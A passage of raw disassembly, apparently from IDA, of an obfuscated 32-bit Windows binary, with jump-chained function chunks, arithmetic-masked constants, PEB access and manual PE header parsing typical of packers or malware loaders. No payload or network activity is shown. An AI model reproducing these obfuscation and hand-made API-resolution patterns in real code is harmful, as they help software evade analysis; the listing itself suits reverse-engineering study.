; ---------------------------------------------------------------------------


loc_42448C:				; CODE XREF: sub_427032:loc_427039j
		call	sub_424D25


loc_424491:				; CODE XREF: sub_427AEB+12j
		jmp	loc_427E3F
; END OF FUNCTION CHUNK	FOR sub_427032
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_424496:				; CODE XREF: sub_427C9B-485Cj
		jz	loc_425076
		test	eax, ecx
		jmp	loc_4246F4
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279ED


loc_4244A3:				; CODE XREF: sub_4279ED:loc_424C76j
		xor	eax, eax
		mov	[ebp+var_C], eax
		push	offset loc_424BF2
		jmp	loc_424AA9
; END OF FUNCTION CHUNK	FOR sub_4279ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_4244B2:				; CODE XREF: sub_425CB3-1BD2j
		push	0
		mov	edx, esp
		push	ecx
		adc	ecx, esi
		jmp	loc_42383A
; END OF FUNCTION CHUNK	FOR sub_425CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4244BE:				; CODE XREF: sub_424631:loc_4232F2j
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		jmp	loc_4264F5
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E4F


loc_4244D3:				; CODE XREF: sub_424E4F:loc_42634Fj
		cmp	[ebp+var_1], 0
		jz	loc_428728
		mov	[ebp+var_8], 1


loc_4244E4:				; CODE XREF: sub_42392D+151Dj
					; sub_424E4F+3D36j
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		call	sub_428718


loc_4244EE:				; CODE XREF: sub_425F3F:loc_423456j
					; hjohnhn9:00424BF6j ...
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424E4F

; =============== S U B	R O U T	I N E =======================================



sub_4244F5	proc near		; CODE XREF: sub_428788:loc_423610p
					; sub_42442F+9p ...

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00424238 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042439F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00424A39 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424AF9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425E44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042681D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004274F7 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004290DF SIZE 00000005 BYTES

		call	sub_424D38


loc_4244FA:				; CODE XREF: hjohnhn9:004235ABj
					; sub_4284CB+4p
		xchg	ecx, [esp+0]
		pop	ecx
		adc	edx, [esp-4+arg_4]
		jno	loc_424A39
		add	esp, 8
		mov	eax, [eax]
		call	sub_4241F3


loc_424512:				; CODE XREF: sub_427C9B-2Cj
		jmp	loc_424238
sub_4244F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_424517:				; CODE XREF: sub_425BD2+14j
		jmp	loc_423F21
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_42451C:				; CODE XREF: sub_427C9B-2192j
		jmp	loc_429112
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_424521:				; CODE XREF: sub_424161-102j
		jmp	sub_42345B
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426211


loc_424526:				; CODE XREF: sub_426211:loc_4250CFj
					; hjohnhn9:004250E4j
		add	edi, 8BC39D66h
		sub	edi, 6F24657h
		and	edi, 366FF2Bh
		push	offset sub_42790F
		jmp	loc_42765C
; END OF FUNCTION CHUNK	FOR sub_426211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_424542:				; CODE XREF: sub_42466E-660j
		xchg	ebx, [ebp+0]
		mov	ebp, ebx
		test	edx, 804613E9h
		jmp	loc_42402C
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		jmp	loc_423408

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424564	proc near		; DATA XREF: sub_428436o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424E05 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00426402 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00426547 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042755C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427F75 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax


loc_42456D:				; CODE XREF: sub_424564+2FFBj
		jb	loc_424E05
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		jmp	loc_427F75
sub_424564	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_42457E:				; CODE XREF: sub_424161+106Dj
		jnz	loc_4284EE
		jl	loc_428326
		jmp	loc_4284ED
; ---------------------------------------------------------------------------


loc_42458F:				; CODE XREF: sub_424161:loc_427BEEj
		pop	edx
		xor	edx, 2B03DDE2h
		rol	edx, 3
		jnb	loc_42605A
		xchg	edx, eax
		jle	loc_42312B
		jmp	loc_4271FD
; END OF FUNCTION CHUNK	FOR sub_424161
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	edx, [ecx]
		test	ebp, 3765BA79h
		jmp	loc_423542

; =============== S U B	R O U T	I N E =======================================



sub_4245BA	proc near		; CODE XREF: sub_424698:loc_423AE4p
					; hjohnhn9:00424886j

; FUNCTION CHUNK AT 0042802C SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+6]
		mov	[ebp-10h], eax
		push	offset loc_4272B3
		jmp	loc_42802C
sub_4245BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_4245D2:				; CODE XREF: sub_427564-575j
		or	ebx, 68CF1599h
		add	esi, ebp
		jmp	sub_427DE6
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------


loc_4245DF:				; CODE XREF: hjohnhn9:004242F4j
		push	6EB72A16h
		pop	ecx
		rol	ecx, 6
		xor	ecx, 51481A26h
		and	ecx, 0B49990B4h
		rol	ecx, 6
		add	ecx, 0E01E531Dh
		jmp	loc_428EC5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_424603:				; CODE XREF: sub_42851A-616j
		jmp	sub_4279ED
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427166


loc_424608:				; CODE XREF: sub_427166+Ej
		pop	esi
		rol	esi, 12h
		xor	esi, 0E0F3CFF4h
		sub	esi, 0D1A215BAh
		and	esi, 0E378881Fh
		add	esi, 0BE3237CCh
		xchg	esi, [esp+4+var_4]
		jmp	sub_4244F5
; END OF FUNCTION CHUNK	FOR sub_427166
; ---------------------------------------------------------------------------


loc_42462C:				; CODE XREF: hjohnhn9:00425DD9j
		call	sub_426D17

; =============== S U B	R O U T	I N E =======================================



sub_424631	proc near		; CODE XREF: hjohnhn9:00424BEDj
					; sub_428477-1C90p

; FUNCTION CHUNK AT 004230C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423180 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004232F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004233F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00423662 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042368D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423B9C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00423ED7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00423F3D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00424314 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004244BE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004249A3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424CAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424F09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424F28 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425164 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00425235 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425B0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004264F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426535 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426619 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00426650 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426894 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042692F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00426E35 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042708C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0042729D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004276C5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004277A2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00427970 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427D89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427DB3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428124 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042839C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428567 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428BE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C75 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428DD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428E16 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jnz	loc_42879B
		call	nullsub_2
		call	sub_424877
		jmp	loc_428124
sub_424631	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424877


loc_42464A:				; CODE XREF: sub_424877:loc_4288F3j
		mov	ebp, esp
		jnz	loc_4265EE
		add	esp, 0FFFFFFECh
		push	offset loc_424300


loc_42465A:				; CODE XREF: hjohnhn9:loc_428351j
		jmp	loc_42792C
; END OF FUNCTION CHUNK	FOR sub_424877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_42465F:				; CODE XREF: sub_423BC3:loc_424C7Bj
		mov	edx, [edx]
		xchg	edx, [esp-8+arg_4]
		push	dword ptr [ebp+8]
		call	eax	; GetModuleHandleA
		jmp	loc_42713A
; END OF FUNCTION CHUNK	FOR sub_423BC3

; =============== S U B	R O U T	I N E =======================================



sub_42466E	proc near		; CODE XREF: hjohnhn9:004230C4p
					; hjohnhn9:004269FEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042309F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042384C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423BB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424008 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042402C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042424B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424542 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424BD9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425091 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00425D3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425DA9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426433 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427947 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042797F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427DC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042857C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004289F8 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, [edx]
		add	eax, edx
		pop	edx
		push	eax
		mov	eax, ebx
		xchg	eax, [esp+0]
		jmp	loc_42384C
sub_42466E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-4], 1
		push	0E4AEB5DAh
		push	offset sub_4251EB
		jmp	loc_4230A5

; =============== S U B	R O U T	I N E =======================================



sub_424698	proc near		; CODE XREF: sub_424A78+4p
					; sub_428162+4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004238FE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00423928 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423AD2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424153 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004241A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424757 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00424F4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425001 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425C56 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004261CF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042646F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00427657 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042893A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428BE8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428E07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E1B SIZE 00000010 BYTES

		push	ebp
		call	sub_423F77


loc_42469E:				; CODE XREF: sub_427994-8Aj
		jmp	loc_42646F
sub_424698	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4290CF


loc_4246A3:				; CODE XREF: sub_4290CF-2157j
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_4290CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_4246A8:				; CODE XREF: sub_427C9B+29j
		ror	ebp, 1Dh


loc_4246AB:				; CODE XREF: sub_427C9B:loc_427CB3j
		xor	edx, 0B4557C7Dh
		push	offset loc_4230BC
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423AAF


loc_4246BB:				; CODE XREF: sub_423AAF+1Ej
		add	esi, 77C34538h
		xchg	esi, [esp+4+var_4]
		jmp	loc_428027
; END OF FUNCTION CHUNK	FOR sub_423AAF
; ---------------------------------------------------------------------------


loc_4246C9:				; DATA XREF: sub_425BD2+1684o
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-10h], 0
		jge	loc_424788
		jmp	loc_4251A7

; =============== S U B	R O U T	I N E =======================================



sub_4246DB	proc near		; CODE XREF: sub_4262C5:loc_423288p
					; sub_427C9B+30j

; FUNCTION CHUNK AT 004250AF SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset loc_427E2F
		jmp	loc_4250AF
sub_4246DB	endp

; ---------------------------------------------------------------------------


loc_4246ED:				; CODE XREF: hjohnhn9:loc_428C28j
		mov	edi, ecx
		call	sub_4249E1
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_4246F4:				; CODE XREF: sub_427C9B-37FDj
		ja	loc_4278C0
		sub	ecx, ebx
		push	ecx
		jmp	loc_427C61
; END OF FUNCTION CHUNK	FOR sub_427C9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_424703:				; CODE XREF: sub_427AC0-2DB4j
		xchg	eax, ecx


loc_424705:				; CODE XREF: sub_427AC0:loc_424D04j
		sub	eax, 2E16C343h
		xor	eax, 0D66B12EEh
		and	eax, 6022EF0Fh
		jmp	loc_425C3B
; END OF FUNCTION CHUNK	FOR sub_427AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_42471C:				; CODE XREF: sub_42851A-4E85j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4275B2


loc_42471E:				; CODE XREF: sub_4275B2+13j
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_4275B2
; ---------------------------------------------------------------------------


loc_424723:				; CODE XREF: hjohnhn9:00426ABEj
		jmp	locret_4265BD
; ---------------------------------------------------------------------------


loc_424728:				; CODE XREF: hjohnhn9:00423BFDj
		jmp	loc_427358

; =============== S U B	R O U T	I N E =======================================



sub_42472D	proc near		; CODE XREF: sub_4279C0-1A5Ep
		push	offset sub_4249BF
		jmp	nullsub_8
sub_42472D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_424737:				; CODE XREF: sub_4265CD+Bj
		pop	ebp
		push	0E7122127h
		pop	eax
		or	eax, 0C64C46DCh
		jnz	loc_424045
		or	ebp, edx
		or	eax, 356DC62Fh
		jmp	loc_42403E
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_424757:				; CODE XREF: sub_424698:loc_428E07j
		xchg	edi, [esp+4+var_4]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_423390
		jmp	loc_424F4D
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------


loc_424768:				; DATA XREF: sub_423B05+4AF9o
		call	sub_424771
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_42476D:				; CODE XREF: sub_425BD2:loc_423082j
					; hjohnhn9:00424107j ...
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_425BD2

; =============== S U B	R O U T	I N E =======================================



sub_424771	proc near		; CODE XREF: hjohnhn9:loc_424768p
					; sub_423B05+15B2p
		push	eax
		push	offset loc_426AAD
		jmp	sub_42911C
sub_424771	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_42477C:				; CODE XREF: sub_425BD2-1776j
		jb	nullsub_94
		sbb	ecx, 110A6425h


loc_424788:				; CODE XREF: hjohnhn9:004246D0j
					; sub_426C09+8j ...
		jz	loc_426F03
		mov	eax, [ebp-10h]
		mov	al, [ebp+eax-20h]
		mov	edx, [ebp-4]
		mov	[edx], al
		push	offset sub_426827
		jmp	loc_4266A6
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_4247A4:				; CODE XREF: sub_426708:loc_426311j
					; sub_426708+254j
		push	eax
		push	0F61C2176h
		pop	eax
		rol	eax, 14h
		add	eax, 0E8D2D426h
		jmp	loc_4283D8
; END OF FUNCTION CHUNK	FOR sub_426708
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_4247B9:				; CODE XREF: sub_426A30+1E94j
		mov	ebx, [ebx+ecx]


loc_4247BC:				; CODE XREF: sub_426A30+5E4j
		call	sub_42873F


loc_4247C1:				; CODE XREF: sub_426A30-379Aj
					; sub_426A30:loc_426FF4j ...
		js	loc_4248F1
		mov	ecx, [ebx+3Ch]
		jmp	loc_423126
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428192


loc_4247CF:				; CODE XREF: sub_428192+Bj
		push	offset loc_42312B
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_428192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282F8


loc_4247D9:				; CODE XREF: sub_4282F8+Cj
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_42392D
		jmp	loc_426189
; END OF FUNCTION CHUNK	FOR sub_4282F8

; =============== S U B	R O U T	I N E =======================================



sub_4247F4	proc near		; CODE XREF: hjohnhn9:004276F2p
					; hjohnhn9:0042770Fj

; FUNCTION CHUNK AT 0042634A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004263F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426D4F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00428A7E SIZE 00000019 BYTES

		xchg	eax, [esp+0]
		pop	eax


loc_4247F8:				; CODE XREF: hjohnhn9:0042810Fj
		mov	al, 1
		call	edx
		jmp	loc_426D4F
sub_4247F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425EA9


loc_424801:				; CODE XREF: sub_425EA9:loc_4289C0j
		jnz	loc_427CE0
		call	sub_42351F
		push	offset loc_427CD8
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_425EA9
; ---------------------------------------------------------------------------


loc_424816:				; CODE XREF: hjohnhn9:00427E70j
		rol	esi, 9

; =============== S U B	R O U T	I N E =======================================



sub_424819	proc near		; CODE XREF: sub_426A78+C8Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423394 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423C02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423EC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424013 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004242E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042488B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424967 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00425F9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426491 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00426875 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426A03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426B97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426EC4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004272E4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004273F5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427B0E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427F3A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004282C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428ED0 SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, esp
		jmp	loc_427F3A
sub_424819	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_424824:				; CODE XREF: sub_424A28j
		mov	eax, ds:dword_4233C4
		or	eax, eax
		jmp	loc_4276BB
; END OF FUNCTION CHUNK	FOR sub_424A28

; =============== S U B	R O U T	I N E =======================================



sub_424831	proc near		; DATA XREF: sub_42645D+8o

; FUNCTION CHUNK AT 00424405 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004276B6 SIZE 00000005 BYTES

		push	esi
		push	85CCA664h
		pop	esi
		add	esi, 0A1CD7584h
		xor	esi, 0E496735Ch
		sub	esi, 0E8B9B3D8h
		jmp	loc_4276B6
sub_424831	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CC8


loc_42484F:				; CODE XREF: sub_426CC8+13j
		add	ecx, 1237F74h
		test	ecx, 100000h
		jmp	loc_426DCF
; END OF FUNCTION CHUNK	FOR sub_426CC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_424860:				; CODE XREF: sub_42363F+264Fj
		jz	loc_424FB6
		jmp	loc_424B8A
; END OF FUNCTION CHUNK	FOR sub_42363F

; =============== S U B	R O U T	I N E =======================================



sub_42486B	proc near		; CODE XREF: sub_425029+2107p
					; hjohnhn9:0042840Ej

; FUNCTION CHUNK AT 0042836D SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		inc	dword ptr [ebp-0Ch]
		jmp	loc_42836D
sub_42486B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424877	proc near		; CODE XREF: sub_428B28:loc_423279j
					; sub_426D17-3821p ...

; FUNCTION CHUNK AT 0042464A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004265EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042792C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004288F3 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_4288F3
sub_424877	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42487D:				; CODE XREF: hjohnhn9:00425C6Cj
		jnb	loc_4280AE
		rol	edx, 1Ch
		jmp	sub_4245BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_42488B:				; CODE XREF: sub_424819:loc_423EC7j
		jl	loc_4273F5
; END OF FUNCTION CHUNK	FOR sub_424819
; START	OF FUNCTION CHUNK FOR sub_426C09


loc_424891:				; CODE XREF: sub_426C09+Ej
		jmp	loc_42361F
; END OF FUNCTION CHUNK	FOR sub_426C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42303E


loc_424896:				; CODE XREF: sub_42303E+Cj
		jmp	loc_427119
; END OF FUNCTION CHUNK	FOR sub_42303E
; ---------------------------------------------------------------------------
		jg	loc_42756B
		jmp	loc_4273EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_4248A6:				; CODE XREF: sub_4263E3+Ej
		jz	loc_426CA1
		jmp	loc_428A14
; END OF FUNCTION CHUNK	FOR sub_4263E3

; =============== S U B	R O U T	I N E =======================================



sub_4248B1	proc near		; DATA XREF: sub_424161-102Do
		jnz	loc_425FA3
		call	sub_424877
		mov	edx, 0B9726E5Ah
		call	sub_4279ED
		call	sub_428249
sub_4248B1	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424A78


loc_4248CB:				; CODE XREF: sub_424A78+217Aj
		jmp	loc_4282EF
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4264FA


loc_4248D0:				; CODE XREF: sub_4264FA+13j
		jmp	nullsub_17
; END OF FUNCTION CHUNK	FOR sub_4264FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E8C


loc_4248D5:				; CODE XREF: sub_426E8C:loc_426DD5j
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_425B24
		call	sub_426859
		jnz	loc_425B24
		jmp	loc_42804B
; END OF FUNCTION CHUNK	FOR sub_426E8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_4248F1:				; CODE XREF: sub_426A30:loc_4247C1j
		mov	ecx, [ebx+3Ch]
		call	sub_428E76
; END OF FUNCTION CHUNK	FOR sub_426A30

; =============== S U B	R O U T	I N E =======================================



sub_4248F9	proc near		; CODE XREF: sub_4250FC:loc_4268DBp
					; hjohnhn9:00428CE2j
		xchg	ebx, [esp+0]
		pop	ebx
		pop	ecx
		pop	ecx
		jmp	loc_427BB3
sub_4248F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424904:				; DATA XREF: sub_42351F+2o
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		call	sub_426C48
; START	OF FUNCTION CHUNK FOR sub_4266B5


loc_424913:				; CODE XREF: sub_4266B5:loc_426B04j
		call	sub_42355C


loc_424918:				; CODE XREF: sub_428E65+Cj
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_4266B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428309


loc_42491D:				; CODE XREF: sub_428309+Bj
		jmp	nullsub_52
; END OF FUNCTION CHUNK	FOR sub_428309
; ---------------------------------------------------------------------------


loc_424922:				; CODE XREF: hjohnhn9:0042701Cj
		jo	loc_4290DF

; =============== S U B	R O U T	I N E =======================================



sub_424928	proc near		; CODE XREF: sub_426BFD+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423984 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428636 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00428696 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp-4+arg_0]
		push	5B23B617h
		xchg	edi, [esp+0]
